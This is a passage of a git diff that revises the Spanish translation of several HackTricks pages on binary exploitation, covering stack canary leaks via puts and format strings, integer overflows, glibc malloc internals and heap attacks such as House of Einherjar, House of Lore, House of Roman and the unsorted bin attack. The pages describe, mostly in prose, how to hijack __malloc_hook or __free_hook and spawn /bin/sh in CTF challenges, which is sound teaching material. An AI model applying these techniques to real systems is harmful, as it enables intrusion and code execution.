+Luego, el atacante **llama a la funcionalidad puts** en medio de la carga útil que **imprimirá todo el canario** (excepto el primer byte nulo).
Con esta información, el atacante puede **elaborar y enviar un nuevo ataque** conociendo el canario (en la **misma sesión del programa**).
Obviamente, esta táctica es muy **restringida** ya que el atacante necesita poder **imprimir** el **contenido** de su **carga útil** para **exfiltrar** el **canario** y luego ser capaz de crear una nueva carga útil (en la **misma sesión del programa**) y **enviar** el **verdadero desbordamiento de buffer**.
-**Ejemplos de CTF:**
+**Ejemplos de CTF:**
- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bits, ASLR habilitado pero sin PIE, el primer paso es llenar un desbordamiento hasta el byte 0x00 del canario para luego llamar a puts y filtrarlo. Con el canario se crea un gadget ROP para llamar a puts y filtrar la dirección de puts desde el GOT y luego un gadget ROP para llamar a `system('/bin/sh')`
@@ -21,13 +21,13 @@ Obviamente, esta táctica es muy **restringida** ya que el atacante necesita pod
## Lectura Arbitraria
-Con una **lectura arbitraria** como la proporcionada por **cadenas de formato**, podría ser posible filtrar el canario. Revisa este ejemplo: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) y puedes leer sobre el abuso de cadenas de formato para leer direcciones de memoria arbitrarias en:
+Con una **lectura arbitraria** como la proporcionada por **cadenas de formato** podría ser posible filtrar el canario. Revisa este ejemplo: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) y puedes leer sobre el abuso de cadenas de formato para leer direcciones de memoria arbitrarias en:
{{#ref}}
../../format-strings/
{{#endref}}
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
-- Este desafío abusa de una manera muy simple de una cadena de formato para leer el canario desde el stack
+- Este desafío abusa de una manera muy simple de una cadena de formato para leer el canario del stack
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/integer-overflow.md b/src/binary-exploitation/integer-overflow.md
index a23dff40a..1644e6b92 100644
--- a/src/binary-exploitation/integer-overflow.md
+++ b/src/binary-exploitation/integer-overflow.md
@@ -67,7 +67,7 @@ printf("Result: %d\n", result); // Expected to overflow
return 0;
}
```
-### Conversión de Firmado a No Firmado
+### Conversión de Entero Firmado a No Firmado
Considere una situación en la que un entero firmado se lee de la entrada del usuario y luego se utiliza en un contexto que lo trata como un entero no firmado, sin la validación adecuada:
```c
@@ -99,7 +99,7 @@ En este ejemplo, si un usuario introduce un número negativo, se interpretará c
- Solo se utiliza 1B para almacenar el tamaño de la contraseña, por lo que es posible desbordarlo y hacer que piense que su longitud es de 4, mientras que en realidad es 260 para eludir la protección de verificación de longitud.
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
-- Dado un par de números, encuentra usando z3 un nuevo número que multiplicado por el primero dará el segundo:
+- Dado un par de números, encuentra usando z3 un nuevo número que multiplicado por el primero dará el segundo:
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
@@ -110,6 +110,6 @@ En este ejemplo, si un usuario introduce un número negativo, se interpretará c
## ARM64
-Esto **no cambia en ARM64** como puedes ver en [**esta publicación del blog**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
+Esto **no cambia en ARM64** como puedes ver en [**este post del blog**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
index 5cdb88f2a..f432ba741 100644
--- a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
+++ b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
@@ -39,7 +39,7 @@ malloc-and-sysmalloc.md
- **Comprobaciones durante la búsqueda en small bin:**
- Si `victim->bk->fd != victim`:
- Mensaje de error: `malloc(): smallbin double linked list corrupted`
-- **Comprobaciones durante la consolidación** realizadas para cada chunk de fast bin:
+- **Comprobaciones durante la consolidación** realizadas para cada chunk de fast bin:
- Si el chunk está desalineado, activar:
- Mensaje de error: `malloc_consolidate(): unaligned fastbin chunk detected`
- Si el chunk tiene un tamaño diferente al que debería debido al índice en el que se encuentra:
@@ -47,7 +47,7 @@ malloc-and-sysmalloc.md
- Si el chunk anterior no está en uso y el chunk anterior tiene un tamaño diferente al indicado por prev_chunk:
- Mensaje de error: `corrupted size vs. prev_size in fastbins`
- **Comprobaciones durante la búsqueda en unsorted bin**:
-- Si el tamaño del chunk es extraño (demasiado pequeño o demasiado grande):
+- Si el tamaño del chunk es extraño (demasiado pequeño o demasiado grande):
- Mensaje de error: `malloc(): invalid size (unsorted)`
- Si el tamaño del siguiente chunk es extraño (demasiado pequeño o demasiado grande):
- Mensaje de error: `malloc(): invalid next size (unsorted)`
diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
index 2a464615d..5d940dfa9 100644
--- a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
+++ b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
@@ -7,21 +7,21 @@
(No se explican verificaciones en este resumen y se han omitido algunos casos por brevedad)
1. `__libc_malloc` intenta obtener un chunk del tcache, si no, llama a `_int_malloc`
-2. `_int_malloc` :
+2. `_int_malloc` :
1. Intenta generar la arena si no hay ninguna
2. Si hay algún chunk de fast bin del tamaño correcto, úsalo
-1. Llena el tcache con otros chunks rápidos
+1. Rellena el tcache con otros chunks rápidos
3. Si hay algún chunk de small bin del tamaño correcto, úsalo
-1. Llena el tcache con otros chunks de ese tamaño
+1. Rellena el tcache con otros chunks de ese tamaño
4. Si el tamaño solicitado no es para small bins, consolida fast bin en unsorted bin
5. Verifica el unsorted bin, usa el primer chunk con suficiente espacio
-1. Si el chunk encontrado es más grande, divídelo para devolver una parte y agrega el resto de nuevo al unsorted bin
+1. Si el chunk encontrado es más grande, divídelo para devolver una parte y añade el resto de vuelta al unsorted bin
2. Si un chunk es del mismo tamaño que el tamaño solicitado, úsalo para llenar el tcache en lugar de devolverlo (hasta que el tcache esté lleno, luego devuelve el siguiente)
3. Para cada chunk de tamaño menor revisado, colócalo en su respectivo small o large bin
6. Verifica el large bin en el índice del tamaño solicitado
-1. Comienza a buscar desde el primer chunk que sea más grande que el tamaño solicitado, si se encuentra alguno, devuélvelo y agrega los restos al small bin
+1. Comienza a buscar desde el primer chunk que sea más grande que el tamaño solicitado, si se encuentra alguno, devuélvelo y añade los restos al small bin
7. Verifica los large bins desde los siguientes índices hasta el final
-1. Desde el siguiente índice más grande, verifica si hay algún chunk, divide el primer chunk encontrado para usarlo para el tamaño solicitado y agrega el resto al unsorted bin
+1. Desde el siguiente índice más grande, verifica si hay algún chunk, divide el primer chunk encontrado para usarlo para el tamaño solicitado y añade el resto al unsorted bin
8. Si no se encuentra nada en los bins anteriores, obtén un chunk del top chunk
9. Si el top chunk no era lo suficientemente grande, amplíalo con `sysmalloc`
@@ -31,7 +31,7 @@ La función `malloc` en realidad llama a `__libc_malloc`. Esta función verifica
-Código de __libc_malloc
+__libc_malloc código
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@@ -190,7 +190,7 @@ return p;
### Fast Bin
-Si el tamaño necesario está dentro de los tamaños de Fast Bins, intenta usar un chunk del fast bin. Básicamente, según el tamaño, encontrará el índice del fast bin donde deberían estar los chunks válidos, y si hay alguno, devolverá uno de esos.\
+Si el tamaño necesario está dentro de los tamaños de Fast Bins, intenta usar un chunk del fast bin. Básicamente, según el tamaño, encontrará el índice del fast bin donde deberían estar ubicados los chunks válidos, y si hay alguno, devolverá uno de esos.\
Además, si tcache está habilitado, **llenará el tcache bin de ese tamaño con fast bins**.
Mientras se realizan estas acciones, se ejecutan algunas verificaciones de seguridad aquí:
@@ -289,7 +289,7 @@ La primera verificación es averiguar si el tamaño solicitado podría estar den
Luego, se realiza una verificación de seguridad comprobando:
-- if `victim->bk->fd = victim`. Para ver que ambos chunks están correctamente enlazados.
+- si `victim->bk->fd = victim`. Para ver que ambos chunks están correctamente enlazados.
En ese caso, el chunk **obtiene el bit `inuse`,** la lista doblemente enlazada se corrige para que este chunk desaparezca de ella (ya que va a ser utilizado), y se establece el bit de arena no principal si es necesario.
@@ -391,7 +391,7 @@ malloc_consolidate (av);
La función malloc consolidate básicamente elimina bloques del fast bin y los coloca en el unsorted bin. Después del siguiente malloc, estos bloques se organizarán en sus respectivos small/fast bins.
-Tenga en cuenta que si al eliminar estos bloques se encuentran con bloques anteriores o siguientes que no están en uso, serán **desvinculados y fusionados** antes de colocar el bloque final en el **unsorted** bin.
+Tenga en cuenta que si al eliminar estos bloques se encuentran con bloques anteriores o posteriores que no están en uso, serán **desvinculados y fusionados** antes de colocar el bloque final en el **unsorted** bin.
Para cada bloque del fast bin se realizan un par de verificaciones de seguridad:
@@ -506,11 +506,11 @@ av->top = p;
### Unsorted bin
-Es hora de revisar el unsorted bin en busca de un posible chunk válido para usar.
+Es hora de verificar el unsorted bin en busca de un chunk potencialmente válido para usar.
#### Start
-Esto comienza con un gran bucle for que recorrerá el unsorted bin en la dirección `bk` hasta llegar al final (la estructura arena) con `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))`
+Esto comienza con un gran bucle for que recorrerá el unsorted bin en la dirección `bk` hasta que llegue al final (la estructura arena) con `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))`
Además, se realizan algunas verificaciones de seguridad cada vez que se considera un nuevo chunk:
@@ -680,7 +680,7 @@ Si el chunk no se devuelve o se añade a tcache, continúa con el código...
Almacena el chunk verificado en el bin pequeño o en el bin grande según el tamaño del chunk (manteniendo el bin grande correctamente organizado).
-Se están realizando verificaciones de seguridad para asegurarse de que ambas listas enlazadas dobles del bin grande no estén corruptas:
+Se están realizando verificaciones de seguridad para asegurarse de que ambas listas doblemente enlazadas del bin grande no estén corruptas:
- Si `fwd->bk_nextsize->fd_nextsize != fwd`: `malloc(): largebin double linked list corrupted (nextsize)`
- Si `fwd->bk->fd != fwd`: `malloc(): largebin double linked list corrupted (bk)`
@@ -802,19 +802,19 @@ return tcache_get (tc_idx);
Si no se alcanzan los límites, continúa con el código...
-### Gran Bin (por índice)
+### Large Bin (por índice)
-Si la solicitud es grande (no en el pequeño bin) y aún no hemos devuelto ningún chunk, obtén el **índice** del tamaño solicitado en el **gran bin**, verifica si **no está vacío** o si el **chunk más grande en este bin es más grande** que el tamaño solicitado y en ese caso encuentra el **chunk más pequeño que se puede usar** para el tamaño solicitado.
+Si la solicitud es grande (no en small bin) y aún no hemos devuelto ningún chunk, obtén el **índice** del tamaño solicitado en el **large bin**, verifica si **no está vacío** o si el **chunk más grande en este bin es más grande** que el tamaño solicitado y en ese caso encuentra el **chunk más pequeño que se puede usar** para el tamaño solicitado.
-Si el espacio restante del chunk finalmente utilizado puede ser un nuevo chunk, agrégalo al bin no ordenado y se actualiza last_reminder.
+Si el espacio restante del chunk finalmente utilizado puede ser un nuevo chunk, agrégalo al unsorted bin y se actualiza last_reminder.
-Se realiza una verificación de seguridad al agregar el recordatorio al bin no ordenado:
+Se realiza una verificación de seguridad al agregar el recordatorio al unsorted bin:
- `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks`
-_int_malloc Gran bin (por índice)
+_int_malloc Large bin (por índice)
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4252C7-L4317C10
@@ -891,7 +891,7 @@ Si no se encuentra un chunk adecuado para esto, continúa
### Gran Bin (siguiente más grande)
-Si en el gran bin exacto no había ningún chunk que pudiera ser utilizado, comienza a recorrer todos los siguientes gran bin (comenzando por el inmediatamente más grande) hasta que se encuentre uno (si es que hay).
+Si en el gran bin exacto no había ningún chunk que pudiera ser utilizado, comienza a recorrer todos los siguientes grandes bins (comenzando por el inmediatamente más grande) hasta que se encuentre uno (si es que hay).
El recordatorio del chunk dividido se agrega en el bin no ordenado, last_reminder se actualiza y se realiza la misma verificación de seguridad:
@@ -1171,7 +1171,7 @@ return 0;
```
-### sysmalloc verifica
+### sysmalloc checks
Comienza obteniendo información del antiguo chunk superior y verificando que algunas de las siguientes condiciones sean verdaderas:
@@ -1185,7 +1185,7 @@ Luego también verifica que:
-sysmalloc verifica
+sysmalloc checks
```c
/* Record incoming configuration of top */
@@ -1212,8 +1212,8 @@ assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
### sysmalloc no arena principal
-Primero intentará **extender** el montón anterior para este montón. Si no es posible, intentará **asignar un nuevo montón** y actualizar los punteros para poder usarlo.\
-Finalmente, si eso no funcionó, intentará llamar a **`sysmalloc_mmap`**.
+Primero intentará **extender** el heap anterior para este heap. Si no es posible, intentará **asignar un nuevo heap** y actualizar los punteros para poder usarlo.\
+Finalmente, si eso no funcionó, intentará llamar a **`sysmalloc_mmap`**.
@@ -1380,13 +1380,13 @@ snd_brk = brk + size;
```
-### continuación de la arena principal de sysmalloc
+### sysmalloc main arena continuar
Si lo anterior no devolvió `MORECORE_FAILURE`, si funcionó, crea algunas alineaciones:
-error anterior 2 de la arena principal de sysmalloc
+sysmalloc main arena error anterior 2
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2742
@@ -1571,7 +1571,7 @@ _int_free (av, old_top, 1);
```
-### sysmalloc final
+### sysmalloc finale
Termina la asignación actualizando la información de la arena.
```c
@@ -1605,7 +1605,7 @@ return 0;
-código de sysmalloc_mmap
+código sysmalloc_mmap
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2392C1-L2481C2
diff --git a/src/binary-exploitation/libc-heap/house-of-einherjar.md b/src/binary-exploitation/libc-heap/house-of-einherjar.md
index a3eff8807..4a2abbf06 100644
--- a/src/binary-exploitation/libc-heap/house-of-einherjar.md
+++ b/src/binary-exploitation/libc-heap/house-of-einherjar.md
@@ -34,14 +34,14 @@
- La casa de Einherjar termina aquí
- Esto se puede continuar con un ataque de fast bin o envenenamiento de Tcache:
- Libera `B` para agregarlo al fast bin / Tcache
-- El `fd` de `B` se sobrescribe haciéndolo apuntar a la dirección objetivo abusando del chunk `D` (ya que contiene `B` dentro)
+- El `fd` de `B` se sobrescribe haciéndolo apuntar a la dirección objetivo abusando del chunk `D` (ya que contiene `B` dentro)
- Luego, se realizan 2 mallocs y el segundo va a ser **asignando la dirección objetivo**
## Referencias y otros ejemplos
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
- **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad)
-- Después de liberar punteros, no se nulifican, por lo que aún es posible acceder a sus datos. Por lo tanto, se coloca un chunk en el bin no ordenado y se filtran los punteros que contiene (libc leak) y luego se coloca un nuevo heap en el bin no ordenado y se filtra una dirección de heap del puntero que obtiene.
+- Después de liberar punteros, no se nulifican, por lo que aún es posible acceder a sus datos. Por lo tanto, se coloca un chunk en el contenedor no ordenado y se filtran los punteros que contiene (libc leak) y luego se coloca un nuevo heap en el contenedor no ordenado y se filtra una dirección de heap del puntero que obtiene.
- [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/)
- Error de desbordamiento de byte nulo en `strtok`.
- Usa House of Einherjar para obtener una situación de chunks superpuestos y terminar con envenenamiento de Tcache para obtener un primitivo de escritura arbitraria.
diff --git a/src/binary-exploitation/libc-heap/house-of-lore.md b/src/binary-exploitation/libc-heap/house-of-lore.md
index e35321d0b..7b6c98a88 100644
--- a/src/binary-exploitation/libc-heap/house-of-lore.md
+++ b/src/binary-exploitation/libc-heap/house-of-lore.md
@@ -1,4 +1,4 @@
-# Casa de Lore | Ataque de pequeño bin
+# House of Lore | Small bin Attack
{{#include ../../banners/hacktricks-training.md}}
@@ -10,7 +10,7 @@
- Esto no está funcionando
- O: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
- Esto no está funcionando incluso si intenta eludir algunas verificaciones obteniendo el error: `malloc(): unaligned tcache chunk detected`
-- Este ejemplo todavía está funcionando: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)
+- Este ejemplo todavía está funcionando: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)
### Objetivo
@@ -22,7 +22,7 @@ Nota que el chunk pequeño agregado es el falso que crea el atacante y no uno fa
- Crear 2 chunks falsos y enlazarlos entre sí y con el chunk legítimo en el pequeño bin:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
-- `fake0.fd` -> `legit` (necesitas modificar un puntero en el chunk pequeño liberado a través de alguna otra vulnerabilidad)
+- `fake0.fd` -> `legit` (necesitas modificar un puntero en el chunk del pequeño bin liberado a través de alguna otra vulnerabilidad)
- `legit.bk` -> `fake0`
Entonces podrás asignar `fake0`.
@@ -33,9 +33,9 @@ Entonces podrás asignar `fake0`.
- Un atacante genera un par de chunks pequeños falsos y realiza el enlace necesario para eludir las verificaciones de sanidad:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
-- `fake0.fd` -> `legit` (necesitas modificar un puntero en el chunk pequeño liberado a través de alguna otra vulnerabilidad)
+- `fake0.fd` -> `legit` (necesitas modificar un puntero en el chunk del pequeño bin liberado a través de alguna otra vulnerabilidad)
- `legit.bk` -> `fake0`
-- Se asigna un chunk pequeño para obtener legit, haciendo **`fake0`** en la lista superior de pequeños bins
+- Se asigna un chunk pequeño para obtener legit, haciendo que **`fake0`** esté en la lista superior de bins pequeños
- Se asigna otro chunk pequeño, obteniendo `fake0` como un chunk, permitiendo potencialmente leer/escribir punteros dentro de él.
## Referencias
diff --git a/src/binary-exploitation/libc-heap/house-of-roman.md b/src/binary-exploitation/libc-heap/house-of-roman.md
index a3e6f269d..28ed22e79 100644
--- a/src/binary-exploitation/libc-heap/house-of-roman.md
+++ b/src/binary-exploitation/libc-heap/house-of-roman.md
@@ -4,7 +4,7 @@
## Información Básica
-Esta fue una técnica muy interesante que permitió RCE sin leaks a través de fastbins falsos, el ataque unsorted_bin y sobrescrituras relativas. Sin embargo, ha sido [**parcheada**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
+Esta fue una técnica muy interesante que permitió RCE sin leaks a través de fastbins falsos, el ataque unsorted_bin y sobreescrituras relativas. Sin embargo, ha sido [**parcheada**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
### Código
@@ -17,7 +17,7 @@ Esta fue una técnica muy interesante que permitió RCE sin leaks a través de f
### Requisitos
- Editar punteros de fastbin y unsorted bin
-- 12 bits de aleatoriedad deben ser forzados (0.02% de probabilidad) de funcionar
+- 12 bits de aleatoriedad deben ser forzados por fuerza bruta (0.02% de probabilidad) de funcionar
## Pasos de Ataque
@@ -30,11 +30,11 @@ Crea varios chunks:
- `main_arena_use` (0x80, offset 0x100)
- `relative_offset_heap` (0x60, offset 0x190): offset relativo en el chunk 'main_arena_use'
-Luego `free(main_arena_use)` que colocará este chunk en la lista no ordenada y obtendrá un puntero a `main_arena + 0x68` en ambos punteros `fd` y `bk`.
+Luego `free(main_arena_use)` lo que colocará este chunk en la lista no ordenada y obtendrá un puntero a `main_arena + 0x68` en ambos punteros `fd` y `bk`.
Ahora se asigna un nuevo chunk `fake_libc_chunk(0x60)` porque contendrá los punteros a `main_arena + 0x68` en `fd` y `bk`.
-Luego se liberan `relative_offset_heap` y `fastbin_victim`.
+Luego `relative_offset_heap` y `fastbin_victim` son liberados.
```c
/*
Current heap layout:
@@ -49,13 +49,13 @@ fastbin: fastbin_victim -> relative_offset_heap
unsorted: leftover_main
*/
```
-- `fastbin_victim` tiene un `fd` que apunta a `relative_offset_heap`
-- `relative_offset_heap` es un offset de distancia desde `fake_libc_chunk`, que contiene un puntero a `main_arena + 0x68`
+- `fastbin_victim` tiene un `fd` apuntando a `relative_offset_heap`
+- `relative_offset_heap` es un offset de distancia desde `fake_libc_chunk`, que contiene un puntero a `main_arena + 0x68`
- Solo cambiando el último byte de `fastbin_victim.fd` es posible hacer que `fastbin_victim` apunte a `main_arena + 0x68`
Para las acciones anteriores, el atacante necesita ser capaz de modificar el puntero fd de `fastbin_victim`.
-Entonces, `main_arena + 0x68` no es tan interesante, así que modifiquémoslo para que el puntero apunte a **`__malloc_hook`**.
+Entonces, `main_arena + 0x68` no es tan interesante, así que lo modificamos para que el puntero apunte a **`__malloc_hook`**.
Nota que `__memalign_hook` generalmente comienza con `0x7f` y ceros antes de él, por lo que es posible falsificarlo como un valor en el fast bin `0x70`. Debido a que los últimos 4 bits de la dirección son **aleatorios**, hay `2^4=16` posibilidades para que el valor termine apuntando a donde nos interesa. Así que se realiza un ataque BF aquí para que el chunk termine como: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
@@ -86,7 +86,7 @@ puts("Put chunk into unsorted_bin\n");
// Free the chunk to create the UAF
free(unsorted_bin_ptr);
```
-Usa un UAF en este chunk para apuntar `unsorted_bin_ptr->bk` a la dirección de `__malloc_hook` (esto lo forzamos previamente).
+Usa un UAF en este bloque para apuntar `unsorted_bin_ptr->bk` a la dirección de `__malloc_hook` (esto lo forzamos previamente).
> [!CAUTION]
> Ten en cuenta que este ataque corrompe el bin no ordenado (por lo tanto, también el pequeño y el grande). Así que solo podemos **usar asignaciones del fast bin ahora** (un programa más complejo podría hacer otras asignaciones y fallar), y para activar esto debemos **asignar el mismo tamaño o el programa fallará.**
@@ -97,9 +97,9 @@ Entonces, para activar la escritura de `main_arena + 0x68` en `__malloc_hook`, d
En el primer paso terminamos controlando un chunk que contiene `__malloc_hook` (en la variable `malloc_hook_chunk`) y en el segundo paso logramos escribir `main_arena + 0x68` aquí.
-Ahora, abusamos de una sobrescritura parcial en `malloc_hook_chunk` para usar la dirección de libc que escribimos allí (`main_arena + 0x68`) para **apuntar a una dirección de `one_gadget`**.
+Ahora, abusamos de una sobrescritura parcial en `malloc_hook_chunk` para usar la dirección de libc que escribimos allí (`main_arena + 0x68`) para **apuntar a una dirección `one_gadget`**.
-Aquí es donde es necesario **forzar 12 bits de aleatoriedad** (más información en el [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ ejemplo](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).
+Aquí es donde se necesita **forzar 12 bits de aleatoriedad** (más información en el [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ ejemplo](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).
Finalmente, una vez que la dirección correcta es sobrescrita, **llama a `malloc` y activa el `one_gadget`**.
diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
index 0920cdde4..05950f1a3 100644
--- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
+++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
@@ -1,8 +1,8 @@
-# Ataque de Unsorted Bin
+# Unsorted Bin Attack
{{#include ../../banners/hacktricks-training.md}}
-## Información Básica
+## Basic Information
Para más información sobre qué es un unsorted bin, consulta esta página:
@@ -26,15 +26,15 @@ Así que, básicamente, este ataque permite **establecer un número grande en un
El código de [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) lo explica muy bien, aunque si modificas los mallocs para asignar memoria lo suficientemente grande para no terminar en un Tcache, puedes ver que el error mencionado anteriormente aparece impidiendo esta técnica: **`malloc(): unsorted double linked list corrupted`**
-## Ataque de Infoleak de Unsorted Bin
+## Unsorted Bin Infoleak Attack
Este es en realidad un concepto muy básico. Los chunks en el unsorted bin van a tener punteros. El primer chunk en el unsorted bin tendrá en realidad los enlaces **`fd`** y **`bk`** **apuntando a una parte de la arena principal (Glibc)**.\
-Por lo tanto, si puedes **poner un chunk dentro de un unsorted bin y leerlo** (uso después de liberar) o **asignarlo de nuevo sin sobrescribir al menos 1 de los punteros** para luego **leerlo**, puedes tener un **infoleak de Glibc**.
+Por lo tanto, si puedes **poner un chunk dentro de un unsorted bin y leerlo** (uso después de liberar) o **asignarlo de nuevo sin sobrescribir al menos 1 de los punteros** para luego **leerlo**, puedes tener una **fuga de información de Glibc**.
Un [**ataque similar utilizado en este informe**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) fue abusar de una estructura de 4 chunks (A, B, C y D - D es solo para prevenir la consolidación con el chunk superior) así que se utilizó un desbordamiento de byte nulo en B para hacer que C indicara que B no estaba en uso. Además, en B se modificó el dato `prev_size` para que el tamaño en lugar de ser el tamaño de B fuera A+B.\
-Luego, C fue desalojado y consolidado con A+B (pero B aún estaba en uso). Se asignó un nuevo chunk de tamaño A y luego las direcciones de libc filtradas se escribieron en B desde donde fueron filtradas.
+Luego, C fue desalojado y consolidado con A+B (pero B aún estaba en uso). Se asignó un nuevo chunk de tamaño A y luego se escribieron las direcciones de libc filtradas en B desde donde fueron filtradas.
-## Referencias y Otros Ejemplos
+## References & Other examples
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
- El objetivo es sobrescribir una variable global con un valor mayor que 4869 para que sea posible obtener la bandera y PIE no está habilitado.
@@ -47,27 +47,27 @@ Luego, C fue desalojado y consolidado con A+B (pero B aún estaba en uso). Se as
- Por lo tanto, **se crean 2 chunks**: **chunk0** que se fusionará consigo mismo y chunk1 para evitar consolidar con el chunk superior. Luego, se **llama a la función de fusión con chunk0** dos veces, lo que causará un uso después de liberar.
- Luego, se llama a la función **`view`** con el índice 2 (que es el índice del chunk de uso después de liberar), lo que **filtrará una dirección de libc**.
- Como el binario tiene protecciones para solo malloc tamaños mayores que **`global_max_fast`**, por lo que no se usa fastbin, se va a usar un ataque de unsorted bin para sobrescribir la variable global `global_max_fast`.
-- Luego, es posible llamar a la función de edición con el índice 2 (el puntero de uso después de liberar) y sobrescribir el puntero `bk` para que apunte a `p64(global_max_fast-0x10)`. Luego, crear un nuevo chunk utilizará la dirección liberada previamente comprometida (0x20) que **activará el ataque de unsorted bin** sobrescribiendo el `global_max_fast` con un valor muy grande, permitiendo ahora crear chunks en fast bins.
+- Luego, es posible llamar a la función de edición con el índice 2 (el puntero de uso después de liberar) y sobrescribir el puntero `bk` para que apunte a `p64(global_max_fast-0x10)`. Luego, crear un nuevo chunk usará la dirección liberada previamente comprometida (0x20) que **activará el ataque de unsorted bin** sobrescribiendo el `global_max_fast` con un valor muy grande, permitiendo ahora crear chunks en fast bins.
- Ahora se realiza un **ataque de fast bin**:
- Primero, se descubre que es posible trabajar con fast **chunks de tamaño 200** en la ubicación de **`__free_hook`**:
--
-- Si logramos obtener un chunk rápido de tamaño 0x200 en esta ubicación, será posible sobrescribir un puntero de función que se ejecutará.
+- Si logramos obtener un fast chunk de tamaño 0x200 en esta ubicación, será posible sobrescribir un puntero de función que se ejecutará.
- Para esto, se crea un nuevo chunk de tamaño `0xfc` y se llama a la función de fusión con ese puntero dos veces, de esta manera obtenemos un puntero a un chunk liberado de tamaño `0xfc*2 = 0x1f8` en el fast bin.
- Luego, se llama a la función de edición en este chunk para modificar la dirección **`fd`** de este fast bin para que apunte a la función anterior **`__free_hook`**.
- Luego, se crea un chunk de tamaño `0x1f8` para recuperar del fast bin el chunk inútil anterior, por lo que se crea otro chunk de tamaño `0x1f8` para obtener un chunk de fast bin en el **`__free_hook`** que se sobrescribe con la dirección de la función **`system`**.
- Y finalmente, se libera un chunk que contiene la cadena `/bin/sh\x00` llamando a la función de eliminación, activando la función **`__free_hook`** que apunta a system con `/bin/sh\x00` como parámetro.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
-- Otro ejemplo de abusar de un desbordamiento de 1B para consolidar chunks en el unsorted bin y obtener un infoleak de libc y luego realizar un ataque de fast bin para sobrescribir malloc hook con una dirección de one gadget.
+- Otro ejemplo de abusar de un desbordamiento de 1B para consolidar chunks en el unsorted bin y obtener una fuga de información de libc y luego realizar un ataque de fast bin para sobrescribir malloc hook con una dirección de one gadget.
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- Solo podemos asignar chunks de tamaño mayor que `0x100`.
